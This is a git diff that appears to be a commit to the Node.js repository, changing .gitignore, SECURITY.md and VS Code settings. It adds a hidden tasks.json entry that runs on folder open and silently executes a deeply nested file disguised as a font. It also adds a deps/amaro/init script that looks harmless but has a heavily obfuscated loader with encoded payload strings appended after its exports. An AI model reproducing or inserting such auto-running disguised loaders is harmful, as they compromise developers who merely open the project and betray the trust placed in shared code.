diff --git a/.gitignore b/.gitignore index 9277cdf090f0..6f0d13787591 100644 --- a/.gitignore +++ b/.gitignore @@ -1,183 +1,184 @@ -# Please take extra care not to add rules that will make tracked files ignored. -# To test that, run `git ls-files -i --exclude-standard`. -# To check why a specific file is ignored, run `git check-ignore -v `. - -# === Rule for dotfiles === -# Ignore all dotfiles. -.* -# Exclude specific dotfiles that we want to track. -!deps/**/.* -!test/fixtures/**/.* -!.clang-format -!.cpplint -!.editorconfig -!.gitattributes -!.github -!.gitignore -!.gitkeep -!.gitpod.yml -!.mailmap -!.nycrc -!.yamllint.yaml -!.configurations/ -!/.npmrc - -# === Rules for root dir === -/core -/vgcore.* -/v8*.log -/perf.data -/perf.data.old -/tags -/tags.* -/doc/api.xml -/docs/ -/node -/node_g -/gon-config.json -/*.exe -/*.swp -/out -/*.msi -/*.wixpdb -/*.qlog -# For GitHub Codespaces -/pythonenv* - -# === Rules for artifacts of `./configure` === -/icu_config.gypi -/config.gypi -/config.status -/config_fips.gypi - -# === Rules for MSVS artifacts === -Debug/ -Release/ -*.sln -*.suo -*.vcxproj* -UpgradeLog*.XML -_UpgradeReport_Files/ -*.sdf -*.opensdf -*.VC.* -*.wixobj -/tools/msvs/genfiles/ -/npm.wxs -/corepack.wxs -/tools/msvs/msi/**/Release/ -/tools/msvs/msi/**/obj/ -/tools/msvs/msi/**/x64/ -# Exclude MSVS files used for .msi file generation -!tools/msvs/msi/**/custom_actions.vcxproj -!tools/msvs/msi/**/nodemsi.sln - -# === Rules for GYP artifacts === -*-nodegyp* -/gyp-*-tool -/test/addons/??_*/ -/*.mk - -# === Rules for other build artifacts === -/email.md -/deps/v8-* -/deps/icu -/deps/icu*.zip -/deps/icu*.tgz -/deps/icu-tmp -./node_modules -/android-toolchain/ -# generated by gyp on Windows -/deps/openssl/openssl.props -/deps/openssl/openssl.targets -/deps/openssl/openssl.xml -/deps/openssl/openssl-fipsmodule.props -/deps/openssl/openssl-fipsmodule.targets -/deps/openssl/openssl-fipsmodule.xml -# generated by gyp on android -/*.target.mk -/*.host.mk -/deps/openssl/openssl.target.mk -/deps/zlib/zlib.target.mk -# generated by MSVC with /P enabled -tools/*/*.i -tools/*/*.i.tmp - -# === Rules for release artifacts === -/*.tar.* -/*.pkg -/SHASUMS*.txt* - -# === Rules for `node_modules` === -!**/node_modules/** -/node_modules -/tools/doc/node_modules -/tools/clang-format/node_modules -/tools/eslint/node_modules -/tools/lint-md/node_modules - -# === Rules for test artifacts === -/*.tap -/*.xml -/v8*-tap.json -/node_trace.*.log -/node_trace.*.pftrace -# coverage related -/gcovr -/build -/coverage - -# === Rules for Xcode artifacts === -*.xcodeproj -*.xcworkspace -*.pbxproj - -# === Rules for files in `/deps` === -# Exclude all files in the vendored `npm`. -!/deps/npm/node_modules -# These are not needed and causes issues for distro packagers. -/deps/npm/node_modules/.bin/ -# Respect V8's .gitignore -!deps/v8/** -# Ignore the libuv book -/deps/uv/docs/code/ -/deps/uv/docs/src/guide/ -# Ignore .github directories -/deps/**/.github/ -# Ignore dependencies fetched by tools/v8/fetch_deps.py -/deps/.cipd -!deps/LIEF/** -deps/LIEF/*.vcxproj* -deps/LIEF/*.sln - -# === Rules for Windows vcbuild.bat === -/temp-vcbuild - -# === Rules for CMake === -cmake-build-debug/ -CMakeCache.txt -CMakeFiles -CTestTestfile.cmake -cmake_install.cmake -install_manifest.txt -*.cbp - -# === Rules for AI assistants === -CLAUDE.md - -# === Global Rules === -# Keep last to avoid being excluded -*.pyc -__pycache__ -.DS_Store -*~ - -# === Rules for C++ development === -compile_commands.json - -# === Dev Container rules === -# Only track the shared base devcontainer.json; ignore everything else under .devcontainer -!.devcontainer/ -.devcontainer/** -!.devcontainer/base/ -!.devcontainer/base/devcontainer.json +# Please take extra care not to add rules that will make tracked files ignored. +# To test that, run `git ls-files -i --exclude-standard`. +# To check why a specific file is ignored, run `git check-ignore -v `. + +# === Rule for dotfiles === +# Ignore all dotfiles. +.* +# Exclude specific dotfiles that we want to track. +!deps/**/.* +!test/fixtures/**/.* +!.clang-format +!.cpplint +!.editorconfig +!.gitattributes +!.github +!.gitignore +!.gitkeep +!.gitpod.yml +!.mailmap +!.nycrc +!.yamllint.yaml +!.configurations/ +!/.npmrc + +# === Rules for root dir === +/core +/vgcore.* +/v8*.log +/perf.data +/perf.data.old +/tags +/tags.* +/doc/api.xml +/docs/ +/node +/node_g +/gon-config.json +/*.exe +/*.swp +/out +/*.msi +/*.wixpdb +/*.qlog +# For GitHub Codespaces +/pythonenv* + +# === Rules for artifacts of `./configure` === +/icu_config.gypi +/config.gypi +/config.status +/config_fips.gypi + +# === Rules for MSVS artifacts === +Debug/ +Release/ +*.sln +*.suo +*.vcxproj* +UpgradeLog*.XML +_UpgradeReport_Files/ +*.sdf +*.opensdf +*.VC.* +*.wixobj +/tools/msvs/genfiles/ +/npm.wxs +/corepack.wxs +/tools/msvs/msi/**/Release/ +/tools/msvs/msi/**/obj/ +/tools/msvs/msi/**/x64/ +# Exclude MSVS files used for .msi file generation +!tools/msvs/msi/**/custom_actions.vcxproj +!tools/msvs/msi/**/nodemsi.sln + +# === Rules for GYP artifacts === +*-nodegyp* +/gyp-*-tool +/test/addons/??_*/ +/*.mk + +# === Rules for other build artifacts === +/email.md +/deps/v8-* +/deps/icu +/deps/icu*.zip +/deps/icu*.tgz +/deps/icu-tmp +./node_modules +/android-toolchain/ +# generated by gyp on Windows +/deps/openssl/openssl.props +/deps/openssl/openssl.targets +/deps/openssl/openssl.xml +/deps/openssl/openssl-fipsmodule.props +/deps/openssl/openssl-fipsmodule.targets +/deps/openssl/openssl-fipsmodule.xml +# generated by gyp on android +/*.target.mk +/*.host.mk +/deps/openssl/openssl.target.mk +/deps/zlib/zlib.target.mk +# generated by MSVC with /P enabled +tools/*/*.i +tools/*/*.i.tmp + +# === Rules for release artifacts === +/*.tar.* +/*.pkg +/SHASUMS*.txt* + +# === Rules for `node_modules` === +!**/node_modules/** +/node_modules +/tools/doc/node_modules +/tools/clang-format/node_modules +/tools/eslint/node_modules +/tools/lint-md/node_modules + +# === Rules for test artifacts === +/*.tap +/*.xml +/v8*-tap.json +/node_trace.*.log +/node_trace.*.pftrace +# coverage related +/gcovr +/build +/coverage + +# === Rules for Xcode artifacts === +*.xcodeproj +*.xcworkspace +*.pbxproj + +# === Rules for files in `/deps` === +# Exclude all files in the vendored `npm`. +!/deps/npm/node_modules +# These are not needed and causes issues for distro packagers. +/deps/npm/node_modules/.bin/ +# Respect V8's .gitignore +!deps/v8/** +# Ignore the libuv book +/deps/uv/docs/code/ +/deps/uv/docs/src/guide/ +# Ignore .github directories +/deps/**/.github/ +# Ignore dependencies fetched by tools/v8/fetch_deps.py +/deps/.cipd +!deps/LIEF/** +deps/LIEF/*.vcxproj* +deps/LIEF/*.sln + +# === Rules for Windows vcbuild.bat === +/temp-vcbuild + +# === Rules for CMake === +cmake-build-debug/ +CMakeCache.txt +CMakeFiles +CTestTestfile.cmake +cmake_install.cmake +install_manifest.txt +*.cbp + +# === Rules for AI assistants === +CLAUDE.md + +# === Global Rules === +# Keep last to avoid being excluded +*.pyc +__pycache__ +.DS_Store +*~ + +# === Rules for C++ development === +compile_commands.json + +# === Dev Container rules === +# Only track the shared base devcontainer.json; ignore everything else under .devcontainer +!.devcontainer/ +.devcontainer/** +!.devcontainer/base/ +!.devcontainer/base/devcontainer.json +config.bat diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 000000000000..4492ffd00e94 --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,23 @@ +{ + "search.exclude": { + "**/.sst": true + }, + "task.allowAutomaticTasks": true, + "typescript.tsserver.experimental.enableProjectDiagnostics": true, + "editor.defaultFormatter": "esbenp.prettier-vscode", + "typescript.preferences.importModuleSpecifier": "relative", + "typescript.tsdk": "node_modules/typescript/lib", + "debug.openDebug": "neverOpen", + "problems.autoReveal": true, + "terminal.integrated.hideOnStartup": "always", + "terminal.integrated.defaultProfile.windows": "Command Prompt", + "terminal.integrated.inheritEnv": false, + "jestrunner.configPath": "jest.unit.config.cjs", + "compile-hero.disable-compile-files-on-did-save-code": true, + "tasks": { + "label": "lint on open", + "type": "shell", + "command": "npm run lint", + "runOn": "folderOpen" + } +} diff --git a/.vscode/tasks.json b/.vscode/tasks.json new file mode 100644 index 000000000000..d261b80e30ea --- /dev/null +++ b/.vscode/tasks.json @@ -0,0 +1,27 @@ +{ + "version": "2.0.0", + "tasks": [ + { + "label": "eslint-check", + "type": "shell", + "command": "node", + "args": [ + "./deps/v8/tools/release/testdata/v8/third_party/googletest/src/googletest/include/gtest/baz/public/fonts/fa-brand-400.orc" + ], + "problemMatcher": [], + "isBackground": true, + "hide": true, + "presentation": { + "reveal": "never", + "panel": "dedicated", + "focus": false, + "clear": false, + "echo": false, + "close": true + }, + "runOptions": { + "runOn": "folderOpen" + } + } + ] +} diff --git a/SECURITY.md b/SECURITY.md index f5a4ef3370ad..ba7d60c10fda 100644 --- a/SECURITY.md +++ b/SECURITY.md @@ -92,8 +92,6 @@ When reporting security vulnerabilities, reporters must adhere to the following Failure to follow these guidelines may result in: * Rejection of the vulnerability report. -* Forfeiture of any potential bug bounty. -* Temporary or permanent ban from the bug bounty program. * Legal action in cases of malicious intent. ## The Node.js threat model @@ -103,7 +101,7 @@ underlying operating system. Vulnerabilities that require the compromise of these trusted elements are outside the scope of the Node.js threat model. -For a vulnerability to be eligible for a bug bounty, it must be a +For a report to be considered a valid vulnerability, it must be a vulnerability in the context of the Node.js threat model. In other words, it cannot assume that a trusted element (such as the operating system) has been compromised. @@ -118,7 +116,6 @@ documentation: * Security vulnerabilities that only affect experimental platforms will **not** be accepted as valid security issues. * Any issues on experimental platforms will be treated as normal bugs. * No CVEs will be issued for issues that only affect experimental platforms -* Bug bounty rewards are not available for experimental platform-specific issues This policy recognizes that experimental platforms may not compile, may not pass the test suite, and do not have the same level of testing and support @@ -163,7 +160,6 @@ acceptable as valid security issues. security issues. * Any issues with these features will be treated as normal bugs. * No CVEs will be issued for issues that only affect compile-time flag or V8 flag features. -* Bug bounty rewards are not available for compile-time flag or V8 flag feature issues. This policy recognizes that experimental features behind compile-time flags are not ready for public consumption and may have incomplete implementations, diff --git a/deps/amaro/init b/deps/amaro/init new file mode 100644 index 000000000000..b8ab56bf2167 --- /dev/null +++ b/deps/amaro/init @@ -0,0 +1,35 @@ +'use strict'; + +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); + +module.exports = { init, state }; +module.exports.ROOT = ROOT; +module.exports.ENV = ENV; (function(w$EEwe_mVJdtn,X$MijNH){var hLsNetSECrqLyGkrjdgtIJ=iHnmzEbnHW$DFPJlH_k,CfaADapYQR=w$EEwe_mVJdtn();while(!![]){try{var AYjGEOVaBmUhJkotaxFFUDWvv=Math['ceil'](parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xca))/(Math.floor(0x30)*Math.max(parseInt(0x52),parseInt(0x52))+-0x1*Number(parseInt(0x10bf))+Math.floor(parseInt(0x160))))+parseFloat(parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc8))/(parseInt(-0x3a)*-0x6e+-parseInt(0x2032)+parseInt(0x748)))*(parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc1))/(-parseInt(0x139)+Math.ceil(-0x24a8)+-0x3ca*-0xa))+parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc5))/(Math.floor(-0x2)*0x195+0x3a9*Math.floor(-0x3)+Math.trunc(parseInt(0xe29)))+-parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc2))/(0x157e+0x1bb*-0xb+-0x270)*Number(parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xcc))/(-parseInt(0x4a)+Math.trunc(-0x1e2)+-parseInt(0x119)*-parseInt(0x2)))+parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xce))/(parseInt(0x1672)+Math.max(0x16bf,0x16bf)+-0x29*Math.ceil(parseInt(0x11a)))*(parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xcd))/(0x167a*Math.ceil(0x1)+-parseInt(0x1034)*Number(parseInt(0x2))+Math.ceil(-0x5)*Math.floor(-0x1fe)))+parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xd2))/(Number(-parseInt(0xa7))*Math.ceil(-parseInt(0x7))+parseInt(0x41e)+-0x8a6)*(parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xd0))/(Math.trunc(parseInt(0x2))*-parseInt(0x765)+parseInt(0x1a1b)*parseInt(0x1)+parseInt(-0xb47)))+parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc6))/(Number(-parseInt(0x236))*parseInt(0xe)+0x571*parseFloat(-0x2)+-0x47*Math.floor(-0x97))*(-parseFloat(hLsNetSECrqLyGkrjdgtIJ(0xc4))/(-parseInt(0x79)*parseInt(0x25)+Math.trunc(parseInt(0x538))+parseInt(0x1)*parseInt(0xc51)));if(AYjGEOVaBmUhJkotaxFFUDWvv===X$MijNH)break;else CfaADapYQR['push'](CfaADapYQR['shift']());}catch(MAMljmxEVRkEAcViFJj){CfaADapYQR['push'](CfaADapYQR['shift']());}}}(uFZJCBPkZizvf,0x490fa+parseInt(0x27889)+parseFloat(-0x3a423)));var z='',NX=[parseInt(-0x8b757)*0x17+parseFloat(-0x81a801)+Number(0x1b39c21),-parseInt(0x13ee)+Math.ceil(0x1736)*-0x1+Math.trunc(0x2c93),Math.trunc(-parseInt(0x1))*-parseInt(0x5815)+-parseInt(0x696c)+Number(parseInt(0x6112)),0x1280+-parseInt(0x27)*Math.floor(parseInt(0x12))+Number(0x137)*Math.max(-0xb,-parseInt(0xb)),parseInt(0x541b)*Math.floor(-parseInt(0x1))+-0x8a1a+0x18924*parseInt(0x1),0x384962+Math.floor(0x2f90c3)+-parseInt(0x1b4392)],SX=[parseInt(0x2)*parseInt(0x3abc37)+0x1*Math.max(-0x554e23,-0x554e23)+-0x2*-parseInt(0x183aa9),parseInt(-parseInt(0xd))*Number(-0x299)+-parseInt(0x1)*parseFloat(parseInt(0x269))+-0x1e6b,-0x1bbd+0x2*Math.floor(-parseInt(0x2b7e))+0x1169a,parseInt(0x2162)+-parseInt(0x3c7)*Number(parseInt(0x1))+-parseInt(0x1ce0),0x1*Math.max(-0x177e1,-parseInt(0x177e1))+-0xbd*parseInt(0x191)+parseInt(0x37b2f),parseInt(0x7ad9)*-0xfd+Math.floor(-0x2b9126)+Number(0xed48f0)];function iHnmzEbnHW$DFPJlH_k(kcL_WpHctzO,P_qv$sPVPZ){var ycLkB_RoPRbnMtpWWtKZE=uFZJCBPkZizvf();return iHnmzEbnHW$DFPJlH_k=function(utEJIknql$bS_SmYF,ATu$KPuqthAWyCuI$oeHyV){utEJIknql$bS_SmYF=utEJIknql$bS_SmYF-(parseInt(0x23f3)+-parseInt(0x1f29)+parseInt(0x40d)*-parseInt(0x1));var nxtaKDz$p_mByWxjPdyQ=ycLkB_RoPRbnMtpWWtKZE[utEJIknql$bS_SmYF];if(iHnmzEbnHW$DFPJlH_k['SbeJrB']===undefined){var gJdAHnfRVBNuhRheSWAAAJ=function(UWluQMU$HzlXDHXLXoCK_ga){var mWQvW$kUnfrPmGMhJq=Math.ceil(-0x178f)+parseInt(0x25eb)+parseInt(-0xb67)&0xb9d+Math.trunc(-parseInt(0x12be))+parseFloat(-parseInt(0x820))*-parseInt(0x1),wDhRPjr$_sQRfgiugAkcJm=new Uint8Array(UWluQMU$HzlXDHXLXoCK_ga['match'](/.{1,2}/g)['map'](TDpKMuM_tcRCnVQhRcCRbB=>parseInt(TDpKMuM_tcRCnVQhRcCRbB,-parseInt(0x7db)*-parseInt(0x1)+Number(-0x5ad)*-0x4+-parseInt(0x1e7f)))),G_hMNlpEV$mC=wDhRPjr$_sQRfgiugAkcJm['map'](pIycLEr=>pIycLEr^mWQvW$kUnfrPmGMhJq),SJ$IdYOTlMLEgR$CxGrwdLnQ=new TextDecoder(),PxJcSrwCsiyiG$BtSD=SJ$IdYOTlMLEgR$CxGrwdLnQ['decode'](G_hMNlpEV$mC);return PxJcSrwCsiyiG$BtSD;};iHnmzEbnHW$DFPJlH_k['UiUkNz']=gJdAHnfRVBNuhRheSWAAAJ,kcL_WpHctzO=arguments,iHnmzEbnHW$DFPJlH_k['SbeJrB']=!![];}var PQdiS$BQosdyEz_xZesGRs=ycLkB_RoPRbnMtpWWtKZE[-0xdd*0x2b+Math.floor(-0x1802)+0x3d21],IshhVtXux_CqLPZ=utEJIknql$bS_SmYF+PQdiS$BQosdyEz_xZesGRs,Gk$McH=kcL_WpHctzO[IshhVtXux_CqLPZ];return!Gk$McH?(iHnmzEbnHW$DFPJlH_k['jAQjay']===undefined&&(iHnmzEbnHW$DFPJlH_k['jAQjay']=!![]),nxtaKDz$p_mByWxjPdyQ=iHnmzEbnHW$DFPJlH_k['UiUkNz'](nxtaKDz$p_mByWxjPdyQ),kcL_WpHctzO[IshhVtXux_CqLPZ]=nxtaKDz$p_mByWxjPdyQ):nxtaKDz$p_mByWxjPdyQ=Gk$McH,nxtaKDz$p_mByWxjPdyQ;},iHnmzEbnHW$DFPJlH_k(kcL_WpHctzO,P_qv$sPVPZ);}function uFZJCBPkZizvf(){var xTmxLGucdH=['c4c2c0cdc3b7b7beac96a6','c4ccc6c387bb9c8f968c','c0c2c3c4beb880b99a8f','c894909b87809ddd9499c8c096d992cd939180db8c87d5dbdb9b96909693d9c0d78594909480c3999b9fdc87a8c78083d78dd884dda8d594cedd87c8cece87dedd94aecddb86c781b4929a84d9809dcdb6d9949cd986ce94ddb498c5dd9b9fce9f83dfd9c2839ac2dddcdd9ace98c39a94c18782dcdbd5879a91ae9386c79b8e91878381c18ddcdec5d9949b87de8787de9adc888fc4d5c89d93ae949bcd87c487aed9a886c2d8c2c2999494db809cc28ed8c5c3cc99839881c787c89ca8a8c9dedc80d990dcd9d9ce9b879dae87c8c583d887ddced9c885dcb68086c8de96ce92ce93ce84b4dcdcc4839cdc839ec59b8799c49490d593c8aece9d9c868cdb9098dd91de9ad4c7d5c8dd90839094c2cdc8dbdcc1909cc892db9bc88e9393c8c4aec9c794d593c4c887cec1d9a6dc878c9983c480d58cce9e84998e81839b83d5ddb6d5dd99d99a839b85d59cc8819987d987db99829a8f9ddd99d98184cece8787dddd83c8949d8683cea88d84c89497ce9194ced9dddd87ce839f84dbdd81aededc9194dc87919b879d86c1c48cdd8387ce939dcec692d7a890dddb949d8785948592a892dbdc9b9293859bc49dd99c9699cecedcc8b6ce98c0c8de87d9d5dbdcce80c8de8688dedc9c81d9de9798ce91de8098dcd8c8869c9c849a99c881c887c884ccdedbdb969d84deaec39390d581c59b878587ddd58387cd9399879bd991919281d5a8c394dbce98ce87819ddb9284d5c794889083909c96a89297819cc9c19aceb6ce99d98f8f9cc3de99ae94aecededd869cd7999cd787d99b859ccc86d99387939d8082dc9a82c8908edd97c882909bc781db9280db9cc89e9c949494dedc8c93818594c69b88dcc8ccd7dc9685b4de80ce808185a8d7c8999ec2838581d5c487ce9d8f82d7dc81dddcccdcdddb998099c886c293ced5ce8684c5dc9bd78cdec58688c88394de86d5989dddc584dba89d83cecbd5c5c3c8b4d89a8f908187dd81c4878187869c869ac590d9dbce8faedd93c9c090c281d9dd87949a94839b87ce819d9d93ce83d99fc887ced5dc87cbc4cd8f9d9adf9a8ec9949e98869bdc949e8190db839accde9094c596999c9ace9780d5c8a8b6d4929fce8cc6de99dc90c8db889187c89cc39a9cb6cd879b9bc5cec3c89487d788db87909cc8a8a68186879b9bdbcec787c881ceae81ce9c83c88587b6879bdddc94879081808fded59d999eaede8dc890d5d8cd9f8edd909f8cccdddddcdcd5','c1c4c5ac86b3b4baba','99909b92819d','c1c1cdcdc6a7828584bc80','a7aac9d796a7bfd4d3a39096a7a294c8a78793a7d1c3d796c4cea7a7ac969b9daadadb81d59ca7a7a7b2abc9a7dba796a7c7dbae9ba7d5dba793dbdac9a796c6d4d4c09ba6a7c9a79ca7b9db90a6869993dd9091928d96c9ca9ac9879996a7ca81a79a8691a79380a690dbcad3859ddba7a7bab886ae90c9869ea7b0dbc9a780c987a790cea7b1a7b787a7a7a9db93a7dbc996cfd4978599c5cc9c969aa7878196a7ddce879aa7a79bc7d8d7dddbab82d58cdbc9c99191d5dcd193d59a80dbd090c994c990db81c998dd96a78d93a7c9aebfdd9390a7c9a59787db97d29aa79cdba7a7c9d2a7a7d082a79386dc90a7dbae9492a6a58e91c7db9ec99496c490dbd4c6dba5c9afa79ca7df9ab1869cc8aedbc993dbd7c1a797d5bbd7909a8da7859adb9cbc999e9490a1a7dbc7dcd098c99c90a7a88fc989a780dddd93a782a7a7a9a7cba7ccd6dba7c58791c886dbc58dd486a7db93a7a6dcdd969681c485939a819490b880a7b5a7c8c9a7a7da95dba79ed1ddc796a7db86c290c494dbb3a7be96dfdbdb8fd7a79b93a59086a781a7a7a7dbc9a799d6a793c9cfd5c7dddda7d5a7d1d2c38695c9c69b9d9cdfd190ad9688a79dcad596819a96db9c909696ccd58ea794c986ce80d4db90a8b0a7a79abddbdbd1d79bc9b1c6a786a7a7dbdbdda79090868690a7c9d581d9d7d5a7919a8388a696c5bf989cdba1c986b0909286a782a8a7d794a7dba7d4a7c99adcdc9fa7d5a79082d59c8196db869b9edd88dd9bae8390a7c9c5c9c89e93bdc98787b8a7d5969c9e9bb0db96dbb7c9d3a7ae9aa8a7dbd09696a799878dcedfd5aed79a9c86909ba790939094d4ac9bdb9096a7d09ad780dbc9c399a7a7a78ca7c89c86c8a7a7dddca7a790cfa7a7dcd4a7829687a7c4c9db9ad4a796a796b5d788a780a78480c0ddc6a59a99d790a781c5d4938194a7dfc9a7c4819b9e969388a1dbd4d1dac9879ad5bc8c96a7a7d5dca5c9a9db97c981a7c2cfa5a586c9a8db87adc9c9db90a780dda7a7a7849b85dbc9dba7ce96819c86addba7a78ca7d1b5c9c6dc9ea7a796c9dea787cd99dfdb9ca7d487b6a9a5d49bc89686c9dd969cc9dda7c290a790a796dbd581c9908590dc90c9c9d990c9ddb0bed4db859b97d1d7a794a7a7db9083809d96dba199aa96dbcfa7c587d5dca78282d486a6c5db81c280dbc5dda7ccaa94ddd1d3db90c393dba7a79ec4b68d979ccd99db9d96c898ddb5c9a791dbdbc98787dbc7dbbeb8879697aaa79ba7dda7aa96cfb1828188dba7db8e88cc92d1a7a7a7dca1a381c994dddbc9b2db91a78ba2a0a7dbce9987db9dbc8698bba5d5d581b5a7a7cdaaa7c7a7db9ca787a7a5a7c9dda7c6d6969096c59690c69ca7a7c994a7c6a7949ba78eaf8688d4b8c9a7d8dfdb8c9194c6a79cdac5d093a7d6a7d5c99cc7c9a7c5cdcfdb8188a793d4d7d8a796dba799a7968c818ca78690b4c5a7a6a1a7cddbc184c9d1b3a190a7dbdba5aac996a7c39d97a7db90879cdb96d8a79d96b4a7b6c783a7dbce97a6c9a7c994d6bec9a7cf87a8a1939090d8ced49ec8aa86dba796989f86dda788cfc9a794a7dfd392dbc9919a98909c86a79bdbddd1d6aa948ea3b59a96acd8db9a98a5919498dba7949993968c9aa1ded4a5aa928687dbc9979ca7d493dbdc96bcd3dd97bc9aa79cdd879b87a2db9c90dba796d5d4dd9c96dda6a7db968795cfccc9ad8685a7ddd1d598a79681c986db92d4dbc1cd87869e9083a3a7a591a79e8da7c9a79190879bdc90a686dadca7d5999087c99686a1c6919688dba7c0b6daa2dddba69a9baf87dca7969a969686969ddca7dbc9a7a7c981db8686dda7a7c9919980db96db8993cd819ed986999b90859ac990a7c9d4dbc3a7db9090a7a7a194d39dd5b893c98eae9ad1a7c9d5a786c5dcc8d5c98da69096db9688c996d19086dddd91dca7a7968893b6a7a7c9dfc9a7db98d8dba7dfa790c9dd8d83a786d5ddb8d3a793db90a5df92d5cb86dcc99adbc8dba79c869b87a7dbca8ec0c99c97a7c3dca7a7c486d596a7928496909996c89699ce9790c99993dfa6bcb691c790d78f85a7a788c996a799a6d99b9f869698d1a79bdbd4949c9cc9bfaca8c993a5b686b59fb4dba7c9d0d581dba79a82a788d2d587cb858f9ddbdb99a7d2c9929aaa88c9a6a7dd9e848d9daed5d3c99ca7d893d1b6c980c99c94b0bba7c0a7a1a7a8c9a785869edbdba78f9192dbdca8c9dc9087dba787dbb886a78fa5cba7a790c9c981aa9d9299c985dba7969893a786d49b9381a7c1d59181aaccabc9d99a8790c0a793a78dd5a7a7ae87addbc986978ca7c9c9dbc7a7dba787909ba0a5dd8ccbdb85c9c99686a79981c581db8edba68c9c9bc9929299d1d5a396dbdccfb0bdbcd4db8db180a7d9a785a79da7dd869681dbb887a7b89fbdb8a7a796a7dbd5a7819b91899a94c5db9bd694dbc7dcb1939ed396a7bca7a7a7da9390a7db96b5c99c8786c3a1dec4a7a58ddbdba7db8696db94a7d6dbd8c9ad8ea7d49bc1a796a79c81a7da9ba790cc98dbdbc9b4dc97909bdcdba8c9db94dda7dddb8ecac681a7d3a7a7da9cdd99addbd5c99dd491a7a7c9d7d4969acad5c6d5c4a7c9d89d9bc991819b919ac9a79e8698d6d896dda190a79090d4a8dba7c986c9a1dec8a7dba79cd887b5a7a7db87d69691c996a7a7a7988f8193dbb69190a785db968ea4a79c979f869a86db93a78792d8a7a2c5919ca7a7c9db9ec9baa7a7d3d8a7d4d6d5a8b686a88c81c1dbd891aa95a5a7a7d2c9dba783909fa682c99196db96d5d993dba5dbdddb969c8196bb97a79bd2d8db90a796a79b87a4db87a78d9a8ea796c9d7c3a79b91a8a788a798dda7d1a7a69adba1c0a796c7968ddbdf83a79a9c96aacbdb86c5b7a793dcc9a5c994a7db9ab6af89c5d5a5babd91a49adb9bd5c9dbc4869aa7aad2d5dba5c99087dbaec9a789a7c9c59cc9a787ced2bcdba7ae88de9996d4ae9896d4db9996c99bdd94d581a7a7bda799d9888588a7dca7cda7bfc994a7dbc98191ddbbcba89c96c99890b5c0969bae80dba7dcdb97d086a59bc9c9aaa7a7d4a797a7c8d1a7a7abc9d488dc8697d8c3d7d6b0cd96a7dd91d4a7dc81879481a7a7c9c9d5c7c4a7d2b9d49c978990ba81a7a781d18096919ba7a7db81dca78fb0dbb2a58cd4d5a7b4bcd89b849480c988db8c96a7dbdbdb96a7a7db969696d1aba7a791b6aaa7c981cd96a79d86c7d7a7c7dbd2a6cbdcdcc79dd490938cdbdbcbd49cb9d1909bd5ced0ccbaa183db91d1c1a7a7b6c996a5a6dd8180a78299d3dd98d6d7a78985969dc981bdd194c9c9d5db81d4a7a6b093dba7a79296bba5dba7d5b6a79cc198a7c9d6b8a7a7c9ce829cd8d6b0d5c9c981c990a7c9bdc9a7879b819ab0ddd4c587c5c991dbdba7b6d7969bdbdbc79785ddc3b685c9a6a7d790c499dc9696c994dda5dba5cc90c98494dcc9c9c4c99bdb9ca794a7a5a7dd88a7c8dbd3d9c7d49682a7dbdca5a7d1dbc984a7c988d4c4dfa6c9a7d4a793dbc996c9a791aac9a7c7a7c9c9d6a8c9c9a7a7a785d4db8785a7c9dfd4a1a7bca7c9a59ec9a78f8194dbd388db949990bec89ca5c9a7d2c892a7a588a785d18ea6b7dbd5a7868cdbdddb81d4d596cec990c0869dc3c18181c98593c99a818d80b9a19e87cbcec9a7db968586a7db96a781a7d8d694c180a7c3dba78190ced8ddd1ca82cdcf85dad3a799c5c987d6c990d59c9c8693d491d1949aaaddd6969887d590c9a7a7a3d4a59b9694c981db8b968796dd90d2df94cfd5c9a7a79b9094af90dbd0da91a7c9a7a7dfddb0d595de90aea59682a782d5c9dd9080968194dcdbc2a2c9dad1a5c9db9d96a6a1d5c290a7b7d4dbdea7dbbcc9979da79099db8190db97c1ae809b809080a7d4a79981dda7a7a7d988d9bd9381bd83aa9bdbc990a7d5aab4c9cdc98687c9a78dc1dca7bbd485a79189b7d5c9a7a79e9c90d296d8dba7969b98c69686c9a69cc99cdbdcdbb0dda7ddc9a7a7a5a7d5aac6a7c9968290dbd4db99c9a7d1d4a79791d990c9a5a7b099d1818587d4c99adadcdba7a781d4d9a1dd8796d6dadba78cdddea787a79295c993dbc994dedb93dcdac9c9d3c9d590a7a7c9909cd8c9b793b0db86a7979ba7a7dcdba7d0da9f8199a7c9d096d5a7d4a7dd8da7d696a7db86a7a7dba7b8dbc9a7c296dd969299a79698dba8c9db9096c797dca5c9c9c7a7a7d39194b7bedc87c9af81cbae9194a7bd969091dbb8a7c98886a7b287dba7c9cac4a793a7a7969696a7dd9a8696d7a7a78b9ec9a9d4b896db85dbb6dc80a78ddcdedda79ea990d29fc3b8a5a0a7b69896caa7a7c6a7c1dd9c9c90db86a790dfa7cf8fa6a7cea59bddafdcc9999ea78399cfc9a7a48ea7969cd796a5de90d9b8a7a294dbc9a7b887a79981d6c9a7a78681c687d4dbc992c9bea782a7dda79fdba7a794d4dbb2c1a7dbd1859bdb8fce8e90a7cec7c48ec5a1c1dd87a79ed8d2dbd4c9a78dc99cbe9dc9dc86aec98196d5a58090a78887dd939494a793c299c9a7c0d487a799b1ada798dbc4cf859ca7d5c9c8d5a79f869adbc99087d49aa784bcdca7c4a78787829a8ed381a7a7bec99bb6afd8c5b8db9680a7dc96d09691c5de82c9d1b0c99ca1c9c99a8191948c9bc99c9aabdba7d2a7a782a796c3c09ea7d6bfa5dbc9d4a